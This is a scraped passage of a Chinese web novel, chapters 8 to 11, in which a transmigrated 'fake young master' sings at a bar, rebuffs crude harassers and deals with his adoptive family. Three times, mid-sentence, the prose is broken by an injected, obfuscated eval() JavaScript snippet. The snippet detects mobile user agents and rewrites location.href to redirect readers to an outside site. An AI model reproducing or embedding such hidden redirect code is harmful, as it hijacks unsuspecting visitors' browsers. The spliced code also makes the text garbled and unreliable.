果不其然,乔晚笑嘻嘻将手里的衣服撑起来:“小鱼,这是你今天上台穿的演出服,是新的哦,姐特意买的,一看就很适合你!” 夏知鱼这才看清,这件“不同寻常”的衣服从背面看是一件在普通不过的衬衫,但是从正面看就不一样了,先不提领口的深v设计,就单说腰上那一串叮叮当当的链子就让人震惊。 配套的小装饰是皮质的项圈,下面坠了两颗红色的小石头,离远看像是两颗小樱桃,倒是和夏知鱼的发色很配。 拒绝的已经快要呼之欲出,乔晚把衣服塞进夏知鱼的怀里:“不能拒绝!今晚就唱一首歌,工钱翻倍,怎么样!” “当然是为了工作,万死不辞!”夏知鱼抱住衣服,目光前所未有的坚定。 工作气死一万次也不辞职,简称万死不辞。 “嘿,你这小子,怎么突然这么好说话了,刚才那誓死不从的决心呢?”乔晚忍不住笑问。 夏知鱼吸了吸鼻子,傻笑两声:“我这没有决心,只有善变的财心。” 乔晚笑声更大,引得来往的工作人员频频偷看,笑够了才说:“好了好了,知道你是小财迷了,快去换衣服吧,唱了歌就快点回家,晚上不安全,尤其是你这长得乖乖仔似的。” 更衣室隔音不错,夏知鱼一边换衣服一遍开嗓,感觉差不多后下了楼。 这次的伴奏和之前一个星期一样,由专门的乐队现场演奏,经过一个周的磨合,他和乐队之间已经有了默契,戴上耳返后他上了台。 积累了一个周的人气让他在上台第一瞬间就收获了如雷的掌声,灯光聚集在他身上,他双手扶着话筒,眯起眼睛看向角落里一抹熟悉的身影。 8. 怒意 夏知鱼实在看不清脸,只能凭借轮廓确定自己的判断——夏先生! 他没走,还在看着自己。 唱了这么多年的歌,夏知鱼第一次有了紧张的情绪,只是因为被这个仅见过两次,哦不,三次面的男人盯着。 夏知鱼觉得十分荒唐。 前奏时间不长,夏知鱼深吸一口气开了口,干净的声音飘进在场每个人的耳朵里,他投入感情,控制气息,加入技巧,一首歌唱的扣人心弦。 这是一首节奏欢快的小情歌,用来暖场在合适不过,一首歌唱完,台上换了另一位主唱。 夏知鱼下了台,扯掉脖子上的项圈准备上楼换衣服。 “哎呦,这是谁啊,这不是我们鼎鼎大名的夏家二少爷吗?怎么沦落到来酒吧当驻唱了?” 夏知鱼停下动作,奇怪的回头看向恶臭发言的源头,那是一个穿搭审美在辣眼程度上和夏语年不相上下的男生,二者不同的是,夏语年基因很好,一套乱七八糟的穿搭看起来有个性,不像这个男生这么折磨人。 他仔细搜索脑子里关于眼前这个男生的记忆,片刻后果断放弃,并在内心疯狂吐糟:还真是三百六十行,行行干破防,做什么都被找茬,真心烦啊。 “怎么不说话?你拒绝田丹到底装什么清高?” 夏知鱼烦躁的皱起眉,看来这位无名氏也是来替田丹找场子的。 台上歌手把场子带热,台下的人随着音乐律动欢呼,谁也没注意到台后对峙的少年。 “你到底谁啊。”夏知鱼不耐烦问:“你不知道江湖规矩吗?找茬之前报上名号。” 男生被说的愣了愣,这个时候夏知鱼不应该恼羞成怒然后破口大骂吗?他还想让前面的观众看看自己刚才为之欢呼的歌手到底是个什么货色。 “不说?好吧,我比较忙,没事就别来找我了,再见。”夏知鱼迈开步子准备上楼把这身糟糕的衣服换掉,虽然在室内没什么冷气,但唱完歌出了汗,再加上空调风吹一吹,也有了寒意。 “等一下!”那男生怕夏知鱼真走了,赶忙伸手搭在对方肩上,连声音都尖锐起来:“老子让你走了吗?来人,把他给我带到楼上包间里去!” 男生身后两个黑西服的保镖称“是”,上手就要钳住夏知鱼的肩膀把人拖上楼去。 “你们敢动我?”夏知鱼虽然内向看起来乖乖的,但真让人强行绑上去这种事他还是会反抗一下的,以前还没穿书的时候学过一点拳脚功夫,对付不了两个保镖,但可以拖一拖时间。 “夏知鱼,别给脸不要,得罪了我,我让你连酒吧驻唱都做不下去。” “我看是谁在我的地方闹事?” 乔晚将头发别在耳后,一身黑色的皮衣修饰了凹凸有形的身材,她踩着恨天高倚在墙上,半眯着眼睛看向准备动手的两个保镖:“来之前没打听打听,上一个在我场子上闹事的人下场怎么样了?” 夏知鱼实在好奇,凑到乔晚身边悄咪咪问:“下场是什么?” 乔晚坏笑一声,说:“我以聚众斗殴的理由报警,给抓走了。” “……”夏知鱼又问:“对了,乔姐,你知道他是谁吗?” 乔晚故作惊讶:“你跟人家说了这么久,还不知道名字啊,他是刘兴。” 夏知鱼点点头,又对刘兴说:“就算我是夏家抱错的孩子有跟你硫酸有什么关系,夏家的事还能轮得到你管?” “我叫刘兴!” “哦,刘兴。” “赶紧从我眼前离开,否则我就告诉我爸,让他撤资。”夏知鱼说。 刘兴还真不知道夏知鱼是不是在吓唬自己,但他不敢赌,万一夏氏真的撤资,回去他爸不得削死他!不过面上不能露怯,他故作镇静,挥挥手让两个保镖退下,冷厉的眼神上下扫一遍乔晚,又盯住夏知鱼的脸。 几息后,刘兴笑了:“你们的家事我懒得管,但是你打了田丹,这事怎么算?” “我说刘听啊……”夏知鱼说。 “刘兴!你特么能不能记清楚啊?” “哦哦,不好意思,刘青。” “……” “我说,你是不是暗恋田丹啊,这么着急给他做舔狗?”夏知鱼啧啧称奇,看刘兴的眼神都变得不一样。 正好墙上转动的灯光闪到刘兴脸上,夏知鱼惊奇的发现,这人的脸又黑又绿,跟吃了苍蝇似的。 焦灼的气氛变得尴尬,大家心照不宣沉默下来,夏知鱼一惊,什么情况,难道真被他说中了?他只是随便一说啊! “胡说什么呢你!”半晌,刘兴终于扯着嗓子呵斥:“那是我好兄弟,兄弟有难,我当然得帮他找回来,不像你,根本就没朋友。” 刘兴的目光尖锐直白,充满带着不屑的恶意,他拿出一张卡扔在地上,嘴边噙着笑:“卡里有一百万,让你上去给我唱个小曲够了吧?这些钱你在酒吧嗓子唱冒烟都赚不到,还不快谢谢我?” 夏知鱼瞟了一眼地上的卡,要不是时机不对,他就拿走了,真是可惜。 “现在跟我去楼上包间,伺候开心了我再给你五十万。”刘兴的嗓音很难听,像极了喊哑了的鸡叫,偏偏这人自认为自己嗓音低沉,说话都夹着气泡音,奇怪得很。 简直折磨耳朵,夏知鱼太想快点离开这是非之地了,人多他也有点不习惯,主要是社恐。 他说:“那就签份合同,自愿赠与,对了,你这一百万是税后吗?合法吗?能换成现金吗?” 这下换成刘兴惊讶了,他还不知道装个bi还有这么多事,以前不都是把卡甩到对方脸上,说几句bi格很高的话就行了吗? “学学法吧文盲。”夏知鱼踩着卡笑出了声:“就你这点东西,我还看不上。” 看得上啊,那可是一百万!对于一个贫穷的大学生来说实在太多了! “拿着你的卡滚远点。”夏知鱼面上轻蔑,他虽然语气客气得很,可一双漂亮的眼睛跟会说话似的,刘兴分明从中读出嫌弃的意味。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320539|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也许是喝了点酒的缘故,刘兴胆子大了不少,放在平时他可不会这样跟人对视。 夏知鱼还是台上那副欲到勾人遐想的装扮,说话时红润的唇一张一合,红噗噗的小脸配上这双“s”感爆棚的眼睛……刘兴动了动喉结,真特么让人移不开眼睛。 不远处,坐在角落沙发上静静观赏着闹剧的夏云祈猝不及防撞见刘兴那双充满了欲·望和贪婪的眸子。 几乎是一瞬间,夏云祈怒气“噌”一下就窜上来,他放下手里的酒杯,想也不想走向夏知鱼,心里不断告诉自己,过去只是因为夏知鱼是自己名义上的弟弟,被人这样欺负面上不好看,对夏家影响也不好。 “没听见吗?刘先生,夏二少爷不缺你这点钱,还不快滚。”夏云祈带着威压,在众人都没注意到的时候出现,不容置喙的话张口就来,丝毫不怕得罪了谁。 刘兴大脑发涨,见到夏云祈反应了好一会:“你、你是……” 呼之欲出的名字被夏云祈打断,他还不想这么快让夏知鱼发现自己的身份,至于原因,他也不太清楚。 “滚!” 刘兴知道,他惹不起夏云祈。 “这次就放过你。”他熟练地放狠话,偷瞄夏云祈一眼,确定对方没有要算账的意思,带着两个懵逼的保镖走了。 夏知鱼“呵”出声,目送刘兴离开:“这刘能还真是,莫名其妙的。” “……”乔晚:“小鱼啊,你到底记不记得人家的名字?” “记得啊。”夏知鱼理直气也壮:“我故意的,就想气气他。” “幼稚。”乔晚无奈的笑笑:“行啦,快上去换换衣服。” …… 楼上更衣室里还有几个穿的不算多的男舞者,这会换好衣服坐在椅子上休息,几个人闲聊着。 “你看看没看见,新来的驻唱长得好帅啊,我的天啊,我想追他!” “追他?你一个小零追另一个小零?怎么,想通了,想为爱做一了?” “啊?他是零?可是我看他打田少爷的时候可A了,怎么会是零呢?” 夏知鱼前进的双腿下意识停住了,听了几句默默感慨:真是不好意思老弟,让你失望了,比起做一,还是做零更适合我,反攻是不能反攻的,只能反复被攻。 他轻手轻脚走到自己的隔间,然后换好衣服,趁着其他人没发现走关好门溜出更衣室。 被发现的话其他人尴不尴尬他不知道,但是他一定会尴尬的脚趾扣地,两室一厅不是问题。 下了楼,为了避免遇见熟人,夏知鱼决定绕远几步路从侧门走。 他躲开来往的人,整理好衣服出门去。 夏先生送他来已经很麻烦人家了,再让人家送回去算什么,况且他们还没熟到那个地步吧。 …… 回到家,夏以德和唐浸月已经休息了,只有夏语年的房间门缝还漏了一点光,夏知鱼就这样摸着黑,惴惴不安回房间睡觉去了。 9. 户口 昨晚睡觉没关窗,一大早夏知鱼就被冻醒了。 冷风顺着被子灌进来,吹的他打了个哆嗦,在一方温暖中把自己抱成一团。 他昨晚睡得太晚了,以至于睁开眼许久大脑都没开机。 手机在枕边亮起来,上面显示的“九点十三”吓了夏知鱼一个机灵,他昨晚明明特意定了七点半的闹钟,为的就是早起一会给夏以德和唐浸月一个改邪归正的好印象,怎么闹钟没响啊! 洗漱好换完衣服已经九点半,夏知鱼把手机切到后台,直到看见计算器里输入的“7-30”才明白,自己昨晚到底是做了什么蠢事。 铺好床,夏知鱼顺着门缝伸出一颗炸着毛的脑袋,溜圆的黑眼睛看了看厨房的方向,很好,没有人,再看一看客厅那边,也没有人,太好了。 夏知鱼推开门,大摇大摆走出去,既然没有人,这里就是他古娜拉黑暗之鱼的天下了。 “小鱼?你醒了,想吃点什么?”正巧王妈手里端着一盘洗好的青菜往厨房走,看见夏知鱼打了个招呼。 夏知鱼伸懒腰的动作僵住,哈欠也打了一半:“王妈?早上好,哈哈,我还以为您不在呢。” “今早上夫人特意让我早点来的,说是做一顿丰盛点午餐,对了,小年还没起床呢,你一会把他叫醒吧,省的先生知道了生气。”王妈把洗好的菜分别装好,开始忙碌。 “爸……爸爸也在家?”夏知鱼更是不自然了:“我刚刚没看见他啊,在卧室里吗?” “刚刚还在沙发上看手机呢,应该是回卧室找夫人去了吧。” “……”也就是说,刚才他狗狗祟祟,探头探脑的行为都被看见了? “我知道了……” 实际上夏以德并没有看见夏知鱼的行动,因为他刚才坐在沙发上看手机里营销号造谣看的入迷,他昨天才回国,所以夏知鱼和余袖一上热搜以及夏知鱼开直播回应黑子的事是今早才知道的。 就因为夏知鱼是被抱错的夏家假少爷,最近热度高,又谣传被赶出家门,所以都来蹲他欺负他,夏以德知道的时候差点气的摔了手机,自己看还不够,捧着手机回卧室找唐浸月,两人说了将近有半小时的话才一起到客厅里。 唐浸月一身黑色旗袍搭配灰色披肩,脖子上的项链是夏以德去年在拍卖会上以两千万的价格拍下来的世间仅此一条,手腕上的翠镯是夏以德今天春天买给他的。 认识夏以德的人都知道,这人是个不折不扣的商业天才,同时也是老婆奴,耳根子软得很,什么都听老婆的。 唐浸月和夏以德一前一后出来的时候夏知鱼下意识想回到房间去,意识到那样做不太好又止住动作。 “小鱼,饿不饿?”唐浸月坐在他身边,眉眼含笑。 “我不饿,妈妈。”夏知鱼收起乖张性子,顶着那头鸡窝似的头发回答。 唐浸月也注意到了,伸手揉了揉还算软的头发:“抱歉小鱼,妈妈这几年忽略你的感受,是妈妈不好。” 夏知鱼垂着眸摇摇头,他不能替原主做决定,毕竟唐浸月亏欠的从来不是他。 “小鱼,爸爸有件事要告诉你,你听了先别激动,好不好?”和唐浸月相比,夏以德一言一行就显得十分直白了,他说:“前段时间,爸爸自作主张把你的户口迁出去了……不是不要你的意思,爸爸妈妈就是想,你一直被网络上那些家伙攻击不是个办法,还是得从根源解决问题,把户口迁出去只是权宜之计,你还是夏家的孩子,小鱼,爸爸妈妈是想让你独立,想让你以后撕掉这个假少爷的标签……你怪爸爸吗?” 夏以德嘴上这样说着,其实脸上明晃晃写着不安,他知道自己刚认回夏语年就把夏知鱼户口迁出去太快了,但这是他能想到的最好的办法了,他们不想让夏知鱼永远都带着夏家的阴影活着。 一想到别人提到夏知鱼时首先想到的不是他宛如天籁的歌声与才华,而是夏家那个抱错了的假少爷,夏以德就气的想砸手机! 他紧张的看着夏知鱼的脸,设想着对方恼怒、失望或者是其他的什么表情,但他万万没想到,夏知鱼只是笑着摇摇头,甚至并不意外。 户口被迁出去这件事夏知鱼是最后一个知道的,唐浸月原先不同意,她说一定有更好的解决方法,这样做太极端了,但夏以德却说:“我们在时可以护着小鱼,那等我们死了之后小鱼又该怎么办呢?他不能一直被人护着,他应该学会成长,老大和小年可以给他一定的帮助,但不能养他一辈子。” 唐浸月哭过几次后也就妥协了,因为她知道,夏以德说得对。 解释了一大段,夏以德也不知道夏知鱼听进去没有,看反应……真看不出什么来,可是做都做了,后悔也挽回不了什么,夏以德暗暗发誓,今后一定百倍的疼夏知鱼,以此来弥补他的疏忽。 王妈和其他几个厨师很快就做好了午饭,夏以德和唐浸月坐在桌子前,夏知鱼慢悠悠晃上楼叫夏语年下来吃饭。 一顿饭吃的格外沉默,夏语年试图打破这种压抑的气氛,咽下嘴里的菜笑哈哈说:“今天天气真好啊,下午要出去散散步吗?” 夏知鱼配合问:“遛狗吗?” “啊?咱家养狗了?”夏语年一脸茫然,很快反应过来:“好你个夏知鱼!你居然说我是狗狗!” 有他开了头,餐桌上气氛果然好了不少,唐浸月分别给两个孩子夹了菜,试探问:“你们都长大了,对未来有什么规划吗?” “规划啊……最近想考研。”夏语年咬着筷子想,他还真没有什么对未来的想法,最多就是家宴那天不给夏家丢脸吧。 唐浸月又一脸殷切的问夏知鱼:“小鱼呢?” 夏知鱼眨了眨眼,尽量让语气听起来轻快一些:“短期内想经济独立吧,其他的,等以后再说,计划赶不上变化。” “小鱼……你……”唐浸月心中陡然升起不好的念头,莫名的恐慌让她的心猛然跳动,她下意识皱起眉,问:“你是想离开夏家吗?” 夏知鱼对于唐浸月敏锐的第六感感到惊讶,但他不想搞得这顿午饭谁都不高兴,笑着摇摇头:“别多想了妈妈,我都说啦,计划赶不上变化嘛,未来的事谁也说不好。” 夏以德说:“既然都没有长期的规划,不如就来公司里吧,还能让你们大哥照顾你们。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320540|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夏语年难得不说话了,一如既往把脸埋进碗里猛扒饭,只留下一双求生欲满满的眼睛偷偷看向夏知鱼。 这道快要把夏知鱼点燃的灼热目光成功引起他的注意,于是他也学着夏语年的动作,偷感很重的装聋作哑起来。 好在夏以德只是随口一提,两个儿子都不想去也就作罢。 饭后,王妈收拾厨房,夏知鱼跟其他人整整齐齐坐在沙发上,表情严肃。 他早上起的急,只穿了一件蓝色的薄衬衫,坐在空调正对面的风口处享受暖风吹过头发的快乐,幸福的眯起眼来。 “小鱼,你跟妈妈讲,是不是生气我和你爸爸瞒着你?”唐浸月垂着眼皮,想知道答案,又怕知道答案,她不安地看过去,发现问题的主人公正含笑看着自己,那股没由来的感觉再次涌上心头。 “怎么会呢,妈妈,我从来没有怪过你。”但是原主就不一定了。 “多依靠爸爸妈妈一点吧小鱼,你这样妈妈总觉得和你离得越来越远,妈妈觉得快失去你了。” “妈妈……抱歉……” 他出门的时候,唐浸月一个人坐在沙发上,双手捂着脸,难以抑制的哭腔丛指缝中倾泻出来…… 夏知鱼发现,每次和夏以德唐浸月吃饭聊天,最后都会以双方不开心作为收尾。 夏语年被夏以德叫到书房谈事情,夏知鱼走的时候只有唐浸月知道。 离开夏家后,夏知鱼没有地方可以去,自己在马路上瞎溜达,他决定先去买点生活用品,既然决心离开夏家,就不会拿夏家的任何东西。 “夏知鱼。” 谁?是谁在呼唤他高贵的名字。 夏知鱼听见自己的名字像被老师点到名字的小学生,瞬间僵直了背环顾四周,结果什么都没有找到。 “夏知鱼?看哪呢。” 声音还怪熟悉的……所以到底是谁! “在哪呢?别躲躲藏藏的,搞得好像再和我偷·情一样,快出来!”夏知鱼放开声音,引得周围行人频频回头。 真尴尬,好想钻进下水道里。 “马路对面,白色的车。” 夏知鱼循声看过去,顶着被风吹的乱七八糟的鸡窝头迈开步子。 是夏云祈,应该是顺路过来,恰好看见他,就打了个招呼。 “夏先生,又遇见了,真巧啊。”怎么这么巧呢,总是在自己无聊且不开心的时候遇见他。 夏云祈下车,拉开另一侧车门:“嗯,要去哪?” “去买点生活用品,这不要搬家了嘛,添置点新家具。”夏知鱼说。 他看着夏云祈的脸,发现对方盯着自己眼睛都不眨一下,表情也很奇怪,欲言又止的。 “怎么了?”夏知鱼奇怪的摸了摸自己的脸:“我脸上有什么东西?还是被我的美貌惊呆了?” “……自信……也挺好的。”夏云祈动了动唇,刚要说些什么就听远方传来一阵粗犷的声音。 那人身体还没到,声音就先传了过来:“夏知鱼!可让我找到你了,我告诉你,你再拿不到夏氏的竞标书,我可就不帮你搞垮夏氏了!” 10. 约会(捉虫) 吾命休矣! 这是哪来的大傻春啊,咋啥都往外说!多大人了还藏不住事! 只见夏云祈挑起眉,饶有兴趣的看向夏知鱼,想听他解释两句。 一时间,两道炯炯的目光落在夏知鱼身上,他能说是原主造的孽,跟他一点关系都没有吗?说了也没人信。 “如果、如果我说这是一场误会你们会信吗?”夏知鱼试试探探问。 夏云祈笑了一声,抛过一个“继续编”的眼神:“你说呢,你猜我信不信?” “傻子才会信吧。”夏知鱼瘪着嘴,头发也变得蔫嗒嗒支棱不起来:“好吧,其实这件事是这样的,首先是这样这样,后来是那样那样,最后就变成了现在这样……你们能懂吗?” “……”夏云祈难得绷不住表情。 而那大傻春根本就没想到夏知鱼会否认,听着他巴拉巴拉的解释一愣一愣的反应不及,张了n次嘴也没能说出一句话,急得他想当场和夏知鱼同归于尽。 “总的来说,就是我不认识他,他认错人了!”夏知鱼脑袋摇得跟个拨浪鼓似的。 “夏二少爷,你这话是什么意思,当初我们可是说好的,你拿着夏氏竞标书来找我,我替你搞垮夏家,事成之后我们……” “胡说八道!!!”夏知鱼提高音量打断大傻春:“你是哪里来的现眼包?挑拨我和夏氏的关系,手段也太低级了!” “你不能这样……”大傻春怎么也想不通,为什么夏知鱼会翻脸不认人,难道是因为身边这个男人?他咬着牙看向车里那个西装革履的男人,突然瞳孔骤缩,那哪里是什么装模作样的小白脸,那可是夏氏的掌权人,夏知鱼名义上的大哥。 “哪凉快哪待着去,碰瓷找别人!”夏知鱼心虚别过头去,除了让这人快点离开实在想不到好的办法解决这个尴尬的突发事件。 大傻春愣在原地,过了好一会才哆哆嗦嗦说:“我、我认错人了,打扰了。” 然后就脚底抹油,跑得飞快。 夏知鱼不确定夏云祈会不会告密,偷偷看他的脸色,就见对方笑着看他,目光相接后对方拍了拍身边空着的位置:“上车。” 他就这么稀里糊涂的跟着上了车。 …… 回过神时车子停在月上居门口,司机已经贴心替夏知鱼拉开车门,恭敬请他下车了。 “请你吃午饭,走吧。”夏云祈心情看起来不错,脸上挂着一抹不细看根本看不出来的笑容。 午饭?刚刚在家吃过了啊。 夏知鱼动了动唇,想到上次夏云祈带他来时吃的那几道菜可耻的心动了,拒绝的话被咽到肚子里,从善如流道:“谢谢。” 包厢里,最后一道菜端上桌,夏云祈开了一瓶红酒到给夏知鱼。 “见过这么多次,还不知道夏先生名字呢。”夏知鱼说:“下次我请客,带你去吃好吃的。” 夏云祈自动跳过第一个问题:“好啊,下次一定。” 月上居最出名的菜叫“湖广酒香鱼”,据说是特聘大厨最得意的菜,上次夏知鱼吃过回去试着复刻了一次,可惜做出来的味道大相径庭,虽然也不难吃,但就是没有那位大厨做出来的韵味。 这件事夏知鱼惦念好几天,现在终于又吃上了。 “也不知道这鱼都用了什么调料,怪好吃的。”夏知鱼低头狂吃。 “喜欢?下次再来,或者把厨子挖到家里也可以。”夏云祈端起红酒放在嘴边抿了一口,那就和家里的藏品简直没法比,他皱起眉,放下酒杯推的远了点:“夏家挺有钱吧,想挖个厨子还是绰绰有余的。” “不不不,美味的食物是需要大家共同享用的。” 夏知鱼两边腮帮子鼓鼓的,虽然吃得快,但吃香并不难看,看得夏云祈也有了胃口,随便吃了点清淡的小菜。 “我上次试着做了这个菜,不过没成功。”夏知鱼碎碎念:“果然不是所有人都能当大厨的,不过我做的比夏语年好吃多了,上次夏语年给我煮了面条,看着还不错,吃起来差点让我客死他乡,我只能说感谢他手下留情了。” 夏云祈说:“你还会做饭啊。” “那是当然,我十项全能。”夏知鱼说。 夏云祈问:“做给女朋友吃?” “什么女朋友,我母单。”一说起这个,夏知鱼就恨自己这钢铁榆木脑袋,以前他上高中的时候,同桌是一个长得白白净净的男生,那会经常帮他打水,吃饭也坐在一起,假期约他出去玩,简直无微不至,他一直以为只是好兄弟标配。 后来那男生逐渐疏远他,看他的眼神宛如一个渣男…… 一直到夏知鱼上了大学,有一天躺在宿舍里怀念青春时突然想起来,才反应过来人家那里是好兄弟,他分明觊觎自己的屁股! 于是他离恋爱最近的距离就是面对面坐在一起吃饭了。 他想的出神,夏云祈也不打扰他,顺手剥了几只虾放在他盘子里。 两人又聊了一会,夏云祈装作不经意问:“以前也听说过你的名字,不过接触下来发现你和传言中一点都不一样。” 传言中的夏知鱼愚蠢跋扈,是个一无是处的二世祖。 不过那些都是真真假假,连夏知鱼自己都不知道到底哪些是真的哪些是假的。 “人都是会变的。”夏知鱼眨巴两下眼睛,咽下嘴里的鱼肉说:“士别三日当刮目相待,我已经不是曾经那个我了,现在的我是‘钮祜禄·我’懂不。” 一顿饭吃的不算快,等夏知鱼扫荡完最后一口鱼肉后终于心满意足躺在椅子上。 夏云祈放下筷子,抽出一张餐巾纸擦擦嘴:“吃饱了?” “嗯呐。”夏知鱼有个毛病,吃饱了就犯困,此刻的他恨不得就地躺下,表演一个一秒入睡技能。 可惜包间隔音效果没有夏家好,外面吵起来的声音透过厚重的门板响起来。 “凭什么不让我进去?你们都是这么干活的?都给我滚!” “先生,这不是您订的包间,您预约的是外面大堂的桌。” “老子差那点钱吗,我说让我进去你听不懂是不是?” “先生,您在这样我就要叫保安了。” 外面那人拔高声音试图掩盖自己的羞涩:“你是个什么东西!竟然敢拦我,我要投诉你!” 突如其来的变故引起夏知鱼的注意力,他挪蹭到门口,竖着耳朵听外面的声音。 “看老子不打死你!” 那人似乎极为看重面子,被拦在外面恼羞成怒,扬手就要打人。 “住手!” 打人还得了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320541|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏知鱼紧忙打开门进行阻止。 那人夏知鱼熟悉的很,不仅私自调查过他,还光天化日扬言要潜规则自己来着。 他们就站在夏云祈订的包厢门口争吵,不,不是争吵,充其量是这人自己无理取闹。 他身后跟着一个穿蓝色格子外套的男生和一个穿白裙子的女人,夏知鱼一眼就认出来,那男生是酒吧里找自己麻烦的田丹。 “你……是你!小骚·货。” 骚你弟夫啊! 夏知鱼忍着揍他一拳的冲动问旁边的服务员:“怎么回事?” 毕竟事关夏知鱼所在的包厢,又确实影响到这位客人用餐,服务员也就解释了几句:“这位先生喝醉了,非得进您的包间。” 他身上酒味很重,摇晃着身体要靠近夏知鱼,仿佛下一秒就会扑上去,离得近了才发现,这人眉眼和田丹十分有九分相似,连高得离谱的发际线都如出一辙,稍微一动脑子就能知道,这人就是田丹的种马父亲田广盛了,那他身后的女人大概就是上位的田夫人。 夏知鱼在包厢里也喝了两口红酒,酒意上头脸上粉嘟嘟的,不过他是那种只上脸却不醉的,即使看起来状态不好也能保持清醒。 田广盛直勾勾盯着夏知鱼漂亮的脸笑起来,迈着歪七扭八的步子就要摸上去:“装什么装,就知道你还得来找老子,小骚·货,今晚上跟我去酒店,明天我就给你一百万,哈,上了我的床可就是我的小公·狗了……” 夏知鱼被这露骨的话语震得一惊。 旁边的田丹瞳孔地震,随机露出比夏知鱼还震惊的表情:“夏知鱼,你居然勾搭我不够,还要勾搭我爸!?” 夏知鱼快要气笑了,他向来不爱生气,总觉得经常生气容易寿比昙花,但他不是真没脾气! “你上厕所没刷牙?”夏知鱼眼中的煞气汹涌澎湃,他深深看了田丹一眼,眼神冰冷锐利:“你以为你在和谁说话,我是你们可以作践的?富贵日子过够了是吧?我不介意动动手让田家破产,只是到时候你们别哭着来求我就好。” 放狠话罢了,他以前看小说里面的霸总都是这么放狠话的。 果然人素质的高低不仅取决于心情,还取决于当事人。 田家在圈子里还算有点实力,从来没人这样骂过他们,田丹愣在原地,不敢相信这气势,这话语出自一个一事无成的蠢货。 当然,夏知鱼的名声大家都是听说过的,他们只当这纸老虎在吓唬他们,毕竟只是个夏家抱错的假少爷,夏家怎么会为了他放弃和田家合作的机会呢。 田夫人看了看自己好不容易勾搭上的田广盛,发现对方眼里都是对夏知鱼的欲·念,想她为了爬上田广盛的床费尽心机,小三上位这个田夫人的位置也来之不易,她可不能平白无故被这个小白脸抢了去。 她咬着唇,心下一横,朝着外面大喊:“小小年纪就不学好,大家快来看啊,小狐狸精勾引我儿子不够,还勾引我老公!不要脸!” 一家子骚操作。 夏知鱼无语至极,出门果然还是该看看黄历。 看够了热闹的夏云祈终于站出来:“小鱼,他们是什么人?” 夏知鱼要解释,被田家父子默契抢答:“他是我的人!” “……”现在动手揍他们一顿还来得及吗? 11. 婚礼 夏知鱼翻了个白眼,指了指自己,又指了指田家父子:“我,又帅又有钱,我是疯了吗给你们当情人?家里没有镜子还没有尿吗?神经。” 田家父子哪这样被人羞辱过,他们能清楚地从夏知鱼的语气里听出浓烈的厌恶。 一个夏家抱错了的孩子,竟然敢这样对他们? 田广盛脸上横肉一抖,气的酒气醒了大半,作势往夏知鱼身上扑,这样倔脾气的美人少爷玩起来才带劲,夏知鱼越是反抗越是能激起他的欲念。 夏云祈再也看不下去,他动了动嘴,还没出声,被夏知鱼拍了拍手背拦下。 “装什么装?”田广盛直白的说:“还是说,你身边这位给的更多?他给了多少,我能两倍、不,三倍给你。” 他就这样当着自己妻子和儿子的面说出了这些话。 空气中弥漫着酸臭的酒气和挥之不去的紧张,夏知鱼就皱着眉站在原地,他没有躲开田广盛的动作,因为他知道,田夫人辛苦爬到这个位置用了多少手段,她是不会允许自己轻而易举勾搭上田广盛的。 “老公!”田夫人踩着恨天高一个箭步冲到田广盛身边挽住他的胳膊:“你和这人认识?” “不、不认识。”田广盛猛然惊醒,剩余的醉意也在田夫人的刺激下挥发的一点不剩了,他下意识说:“我刚才就是有点醉了,说胡话。” 田夫人知道自己现在不能闹,看了夏知鱼一眼,转身变了个脸色,笑颜如花:“人家就知道是这个小妖精勾引老公!呸!真不要脸。” 这演技,夏知鱼自叹不如,怪不得人家能上位成功呢,还是有些过人之处的。 看样子,田夫人快要把她自己感动了,看向夏知鱼的眼神更是带上数不清的恶意。 “他们说‘他们的人’是什么意思?”夏云祈眯起眼睛,眼里含着轻蔑与讥讽,目光扫视着田家三口人。 “哎呦喂!”这不就问到大动脉上了,夏知鱼决心好好表演一下自己,顿时捏起嗓子,要多委屈有多委屈的控诉:“你可不知道,就我不小心撞到你那天,一大早我就出门找工作,哪知道我清清白白一个小男生就这样被一个丑的出奇的色狼给盯上了,可怜人家一个手无寸铁的小男子,被两个大汉架走毫无还手之力,要不是人家机智聪明,早就变成色狼床上可口的奶油小蛋糕了!” 夏云祈看着眼前人演得意犹未尽,悄无声息勾起嘴角。 夏知鱼“嘤击长空”后,柔弱道:“真是太可怕了,夏先生,你摸摸人家胸口,看看人家心跳的快不快?” 田广盛听得头皮发麻,脸色也不太好,那天发生的是像夏知鱼描述的那样吗? 不是吧?手无寸铁的柔弱男子?田广盛被洗脑的记忆有些模糊…… 夏知鱼顺势抱上夏云祈的胳膊“落嘤缤纷”起来。 